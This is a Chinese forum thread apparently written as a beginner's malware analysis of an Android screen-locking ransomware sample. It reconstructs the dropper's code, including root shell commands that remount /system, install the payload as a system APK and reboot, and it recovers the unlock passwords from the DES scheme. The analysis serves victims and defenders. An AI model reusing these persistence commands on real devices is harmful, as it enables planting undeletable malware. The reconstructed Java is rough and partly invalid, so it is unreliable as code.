吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9660|回复: 21
收起左侧

[Android 原创] android锁屏样本分析(菜鸟版)

[复制链接]
90hacker 发表于 2016-5-10 20:14
本帖最后由 90hacker 于 2016-5-12 09:58 编辑

http://www.52pojie.cn/thread-428680-1-1.html
今天 早上看到的、然后就想研究一下、
先讲一下、对于没有安卓开发的我、但是我是做java的做web ,Android的代码我也能看一点点懂、
然后就开始怎么破解源码找资料、慢慢的 改之理APK 什么的工具、就下载下来研究、发现不是直接的java代码、smali的代码、又开始 CSDN 找smali的语法、又开始学习、
代码分析就这样开始了、这里说明一下 我虽然不做Android 但是对Android 懂一点点 还是有的、比如 什么 Activity 什么service 、什么注册监听器 服务 等等 还是懂一点点的、
23.png
这样应该就是 入口点了、(这里说明一下,如果我哪里说错了,请别骂我、你直接来打我

这里smali的代码 我就不贴上来了,就把分析出来的 java 贴出来了、这里有人问:APK改之理不是有java代码的吗、这里只是想自己分析smali代码(改之理好像没有java代码打开java源码是不能点的)
c.smali代码
[Java] 纯文本查看 复制代码
public class c exentd Activity{
        private Button a;
        private Button b;
        private Button c;
        private EditText c;
        private a del; //a这个类是删除文件或者文件夹操作的类
        String file;
        String path;
        
        public c(){
                del = new a();
                path = g();
                StringBuffer sb = new StringBuffer();
                sb.append(path);
                string v4 = "/zibao.l"
                sb.append(v4);
                file = sb.toString();
                
        }
        
        private void d(String p0){
                //这里就不很仔细的分析了
                //大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧
                
        }
        //获取sdk路径
        public final string g(){
                //根据上面的 path = g(); 然后后又拼接:可以得出这里是获取程序的路径
                //getExternalStorageDirectory()
                //getAbsolutePath() 
                //大家可以百度一下 这些函数差不多就能猜出这个方法 放回的数据是什么了
                
        }
        
        protected void onCreate(Bundle bundle){
                //setContentView();
                //findViewById()
                //.....等等等一堆初始 控件 设置按钮事件
                //new-instance v5, Ljava/lang/StringBuffer; 从这里开始分析
                StringBuffer sb = new StringBuffer();
                sb.append(path);
                String v6 = "/zibao.l";
                sb.append(v6);
                d(sb.toString());//调用d(); 函数
                
                
        }
        //销毁的时候执行
        protected void onDestroy(){
                a->deleteFile(path);//删除文件
        super.onDestroy(this);
        
        }
        //按钮事件
        class ButtonClickListener(){
                //这里一开始分析有点迷
                //因为我不知道 有哪些按钮,也不可能每一个按钮的事件都去分析他,
                //我分析代码有一个习惯就盲扫 主要看哪些代码呢,在这里我是根据我的思路来的,可能有些人不这样做的、我只做分享哦,再说这是菜鸟级别的分析。。
                void onClick(){
                        //invoke-direct {v5}, Lcom/qqmagic/b;-><init>()V 类型这种代码、调用了自己定义的对象或函数
                        //invoke-virtual {v4}, Lcom/qqmagic/b;->rootShell()V 上面定义b,这里调用了b.rootShell 函数
                        //invoke-static {v4}, Lcom/qqmagic/a;->deleteFile(Ljava/lang/String;)Z
                        //关键就在rootShell(); 这里做了手脚。跟进 b->rootShell();
                }
        }
        
}



这些吧 a这个类也贴出来给大家看看 、这个类主要是删除文件或文件夹的 所有没什么好分析的、
a.smali代码
[Java] 纯文本查看 复制代码
public class a{
        
        
        public static boolean delete(String s){
                File file = new File(s);
                
                if(file.exists()){
                        return;
                }
                if(file.isFile()){
                        deleteFile(s);
                }
                v3 = v0;
                
        }
        
        public static boolean deleteDirectory(String path){
                
        }
        
        public static boolean deleteFile(String path){
                
        }
        
}



由于时间问题我分析这个b类的时候就分析核心的地方、不每个方法都分析。b.smali代码
[Java] 纯文本查看 复制代码
# virtual methods
.method rootShell()V
    .locals 9
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 203
    move-object v0, p0

    const/4 v4, 0x7

    new-array v4, v4, [Ljava/lang/String;

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x0

    const-string v7, "mount -o rw,remount /system"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x1

    const-string v7, "mount -o rw,remount /system/app"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x2

    const-string v7, "cp /sdcard/zihao.l /system/app/"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x3

    const-string v7, "chmod 777 /system/app/zihao.l"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x4

    const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x5

    const-string v7, "chmod 644 /system/app/zihao.apk"

    aput-object v7, v5, v6

    move-object v8, v4

    move-object v4, v8

    move-object v5, v8

    const/4 v6, 0x6

    const-string v7, "reboot"

    aput-object v7, v5, v6

    move-object v1, v4

    .line 212
    move-object v4, v1

    const/4 v5, 0x1

    invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;

    move-result-object v4

    move-object v2, v4

    return-void
.end method


const-string v7, "mount -o rw,remount /system"
const-string v7, "mount -o rw,remount /system/app"
const-string v7, "cp /sdcard/zihao.l /system/app/"  //cp 命令是 复制 将/sdcard/zihao.l(这个是前面我们分析到的那个ijm-x86.os文件) 复制到/system/app/目录下
const-string v7, "chmod 777 /system/app/zihao.l"
const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk" //将zihao.l 改成zihao.apk
const-string v7, "chmod 644 /system/app/zihao.apk"
invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;
这里很清楚的 把我们上个刚刚写入到 “//大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧” 安装到/system/app/zihao.apk"  、没错就是酱紫的(菜鸟版分析代码,勿喷)。
好了、接下来 我们直接把 ijm-x86.so 改成 ijm-x86.apk 然后继续分析。。
--------------------------分割线----------------------------------------------

时间:20.15 以前我都是20点出去跑步的、但是今天迟了15 所有我准备先分析到这里、然后发布出去 等晚上回来继续编辑然后继续分析。
开始分析:zihao.apk


2016-05-10_213940.png

<receiver android:description="@string/hello" android:name=".MyAdmin">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
</receiver>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>这个好像是手机开机接收的 服务
我是比较喜欢先分析activity 所有我们先看一下.M这个类
M.smali
[Java] 纯文本查看 复制代码
public class M extends Activity{
        
        private void activiteDevice(){
                
                String v7 = "android.app.action.ADD_DEVICE_ADMIN";
                Intent intent = new Intent(v7);
                ComponentName v5 = new ComponentName();
                String v8="com.h.MyAdmin";
                //这里我看到了v8="com.h.MyAdmin"; 这个在配置文件里面我们就看到了是一个receiver
                string v6, "android.app.extra.DEVICE_ADMIN"
                intent.putExtra(v6);
                startActivityForResult(intent); 
                //这个函数应该是启动 MyAdmin 用的
                //我们来看一下MyAdmin 到底是什么。。
        }
}



MyAdmin.smali
[Java] 纯文本查看 复制代码
public class MyAdmin extends DeviceAdminReceiver{
        
        //就分析一个核心的代码
        public void onEnabled(Context intent){
                int v8 = 0x3f0;
                v4 = v8.toString();
                v8 = new Intent();
                string v11= "com.h.s"//这些又看见一个类了
                //下面的代码是启动这个com.h.s这个类
                forName(v11); //加载类
                //invoke-virtual {v8, v9}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                //继续分析s.smali
                
        }

}


继续分析s.smali
打开s.smali发现代码有900多行,先随便看一下 固定的字符串先
发现:
const-string v5, "\u8f93\u5165\u5bc6\u7801\uff01"
const-string v5, "\u60a8\u7684\u89e3\u9501\u7801\uff0c\u5feb\u8dea\u4e0b\u5c31\u53ef\u4ee5\u89e3\u9501\uff0c\u7136\u540e\u518d\u4eb2\u4e00\u4e0b\u5c4f\u5e55\uff1a"
const-string v8, "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"
const-string v6, "connectivity"
const-string v7, "c29fe56fa59ab0db"
const-string v5, "Flowers"
const-string v6, "5a15e58cc8db8d1c700ecb6bb7b627a9"
const-string v5, "df96a4f9d3d72ed8"
看到这么多的代码 还有加密的 什么MD5 简直无从下手啊、先去解一下 上面那些Unicode编码转换一下看看
12344444.png
这个应该就是被害楼主的那个启动界面了吧、、

-------------------又开始分割线了------------------------------------



看了一下电脑的电快没了、、
所有今天就分析到这里。
然后来个总结,总结什么呢。

1.第一个APP运行的时候、把ijm-x86.OS 写到手机卡的/sdcard/zihao.l 上 这个时候 ijm-x86.OS 就变成了一个 zihao.l程序,然后代码里通过 手机命令
(刚刚不知道手机命令是什么然后去百度了一下:android ADB 叫这个 哈哈。。让我装B 叫 “android ADB” OK)
2.然后执行一堆命令 具体的命令就是把zihao.l  复制到 /system/app/zihao.apk  这样一个 SO文件变成zihao.l 在变成一个APK 就这样 留在手机里面的后门。
闲话 /system/app/  这个目录手机好像要root 才能复制进去应该 所有大家root手机不能随便允许别的APP执行一些操作、这样很危险的、你的支付宝 等等一堆 差不多就是等于给别人了、要是在叼一点的木马拦截短信 发送短信 等等一堆。完蛋。。闲话不多说。。今天就到这里 明天继续。




今天继续分析一下 加密的算法、先上一段 java代码

这段代码 我没有完全的看等执行的流程、不是代码看不懂、是执行的流程、在下面
label291: Thread local100000000 = new Thread()
......

break label291;
这个位置开始  这个可能是编译的问题、

[Java] 纯文本查看 复制代码
@Override
  public void onCreate()
  {
    super.onCreate();
    this.pass = (()(Math.random() * 100000000));
    long l = this.pass + 1;
    Long localLong = new Long(l);
    this.passw = localLong;
    DU localDU1 = new DU("flower");
    this.des = localDU1;
    try
    {
      DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db"));
      this.des = localDU2;
      this.share = getSharedPreferences("Flowers", 0);
      this.editor = this.share.edit();
      if (this.share.getLong("m", 0) == 0)
      {
        this.editor.putLong("m", this.pass);
        this.editor.commit();
      }
    }
    catch (Exception localException2)
    {
      try
      {
        SharedPreferences.Editor localEditor = this.editor;
        DU localDU3 = this.des;
        StringBuffer localStringBuffer2 = new StringBuffer();
        localEditor.putString("passw", localDU3.encrypt("" + this.passw));
        this.editor.commit();
        if (is(getApplicationContext()))
        {
          StringBuffer localStringBuffer1 = new StringBuffer();
          this.ppss = (this.share.getLong("m", 8) + "");
        }
      }
      catch (Exception localException2)
      {
        try
        {
          while (true)
          {
            this.password = this.des.decrypt(this.share.getString("passw", ""));
            label291: Thread local100000000 = new Thread() //大概就是这个地方
            {
              public void run()
              {
              }
            };
            local100000000.start();
            return;
            localException1 = localException1;
          }
          localException2 = localException2;
        }
        catch (Exception localException3)
        {
          break label291;
        }
        try
        {
//还有这里不知道会不会执行到、然后在这个地方要是执行到代码、那么也就是说 上面做了一堆没用的操作
//因为这里又从新给 xml里面的 m 和passw进行赋值了
//所有这个地方有点纠结。
          this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
          this.editor.commit();
          this.editor.putString("passw", "df96a4f9d3d72ed8");
          this.editor.commit();
          return;
        }
        catch (Exception localException4)
        {
        }
      }
    }
  }



首先这段代码编译出来有点乱 然后我重新整理了一下 变成
————下面这种——————

[Java] 纯文本查看 复制代码
public class Test {
	private Long pass;
	private Long passw;
	private DU des;
	private Long ppss;
	private String password;
    public void oncreate(){
    	this.pass = (long) (Math.random() * 100000000); //这个是随机生成的一个8位的数
    	System.out.println(pass);
        long l = this.pass + 1; //然后在+1  比如(12345678+1)
        System.out.println(l);
        Long localLong = new Long(l);
        this.passw = localLong; //把变量赋值给 passw
        DU localDU1 = new DU("flower");   //这个DU类就是 加密一个类 采用的是 DES 加密
        this.des = localDU1;
        try
        {
          DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db"));  //把c29fe56fa59ab0db 当做一个Key
          //这里DES 加密的原理 我就不说了  大家百度一下就OK了  差不多就是   (Key+一个码)=加密数据 
          //解密的话 你必须得知道 这个Key 解密(key+加密数据)=解密数据
          //类似这样  但是不是真正的相加就可以了 我这里只是几个例子
          
          this.des = localDU2;
          //this.share = getSharedPreferences("Flowers", 0);
          //this.editor = this.share.edit();
         // if (this.share.getLong("m", 0) == 0)
          //{
          //  this.editor.putLong("m", this.pass); //这个把 上面生成的8位数+1 保存到一个XML里 名字叫Flowers.xml 好像在手机apk目录里面一个叫data/...的目录
          
          
          System.out.println("m->"+this.pass); 
          //  this.editor.commit();
          //}
          //SharedPreferences.Editor localEditor = this.editor;
          DU localDU3 = this.des;
          StringBuffer localStringBuffer2 = new StringBuffer();
          String passw =localDU3.encrypt("" + this.passw);
          System.out.println("passw:"+passw);
          //this.editor.commit();
          //if (is(getApplicationContext()))
          //{
            StringBuffer localStringBuffer1 = new StringBuffer();
            this.ppss =pass;
          //}
            this.password = this.des.decrypt(passw.toString());
            System.out.println("password:"+password);
            
            //this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
            //this.editor.commit();
            //this.editor.putString("passw", "df96a4f9d3d72ed8");
            //this.editor.commit();
            
            System.out.println("m:"+des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9"));
            System.out.println("passw:df96a4f9d3d72ed8");

            System.out.println("----------------------------------------");
            String p = des.decrypt("df96a4f9d3d72ed8");
            System.out.println("password:"+p);
            		
           
           System.out.println("Pin:");
           System.out.println(des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"));
        }catch (Exception localException2)
        {
        }
    }
    
    public static void main(String[] args) {
		Test t = new Test();
		t.oncreate();
		
	}



执行的结果是:

m->63961332 屏幕显示的8位数

passw:a8f122c917e24314700ecb6bb7b627a9

password:63961333  这个就是密码


//如果我说了上面那个代码重新赋值了
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));  //xml的m重新赋值
this.editor.commit();
this.editor.putString("passw", "df96a4f9d3d72ed8");   //xml的passw重新赋值
this.editor.commit();


m:00000000  


passw:df96a4f9d3d72ed8  
----------------------------------------
password:zixi  那么 密码就是  zixi





这里手上也没有安卓手机做测试、都是看着代码 分析的、都没有执行过app 长什么样子的 也没见过、

这里说一下 还有一种解锁的方法、就是手机进入  rc模式 /system/app/zihao.apk 删掉这个目录里面的 zihao.apk 然后重新开机就OK了








免费评分

参与人数 2热心值 +2 收起 理由
沐然雾灯 + 1 赞大神
丶懒喵喵 + 1 膜拜大牛

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 90hacker 发表于 2016-5-12 10:13
止!步 发表于 2016-5-11 15:29
有时间帮忙看看这个锁机密码是多少,谢谢,http://pan.baidu.com/s/1dFseq4L

你这个APK加了 阿里的壳、所有......要是没加壳的 我可以帮你分析一下代码、脱壳对我来说一点难、
Doigt 发表于 2016-5-10 21:52
sjjyz 发表于 2016-5-10 20:17
被锁的一般都是小学生.刷赞刷空间啥的.

确实,各种刷钻,刷支付宝神马的,一堆,被锁的人都是智商不足。
sjjyz 发表于 2016-5-10 20:17
慢慢的拼凑 发表于 2016-5-10 20:21
某论坛出了个防锁侠
头像被屏蔽
点击下载 发表于 2016-5-10 20:25
提示: 作者被禁止或删除 内容自动屏蔽
yomkk 发表于 2016-5-10 21:14
支持发帖分享心得
zhuzhili2261 发表于 2016-5-10 22:24
好贴 张姿势
止!步 发表于 2016-5-11 15:29
有时间帮忙看看这个锁机密码是多少,谢谢,http://pan.baidu.com/s/1dFseq4L
止!步 发表于 2016-5-11 15:31
Doigt 发表于 2016-5-10 21:52
确实,各种刷钻,刷支付宝神马的,一堆,被锁的人都是智商不足。

我很悲催,被锁机了
Doigt 发表于 2016-5-12 06:26
止!步 发表于 2016-5-11 15:31
我很悲催,被锁机了

............无语= =
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 01:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表